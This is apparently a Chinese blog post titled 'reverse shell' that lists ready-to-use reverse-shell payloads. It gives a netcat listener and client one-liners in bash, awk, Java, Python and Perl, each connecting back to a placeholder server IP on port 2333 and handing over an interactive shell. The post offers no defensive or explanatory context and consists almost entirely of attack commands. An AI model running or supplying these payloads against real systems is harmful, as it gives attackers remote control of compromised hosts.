反弹式shell

it不难
2022-11-28 / 0 评论 / 16 阅读 / 正在检测是否收录...

前言

服务端

#打开本地监听
nc -lvvp 2333

客户端

bash版

bash -i >& /dev/tcp/服务端IP/2333 0>&1

awk版

awk 'BEGIN{s="/inet/tcp/0/服务端IP/2333";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

java版

public class fShell {
    /**
    * @param args
    * @throws Exception 
    */
    public static void main(String[] args) throws Exception {
        // TODO Auto-generated method stub
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/服务端IP/2333;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}

编译执行

javac fShell.java 
java fShell

python版

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('服务器IP',2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

Perl版

perl -e 'use Socket;$i="服务器IP";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
0

评论 (0)

取消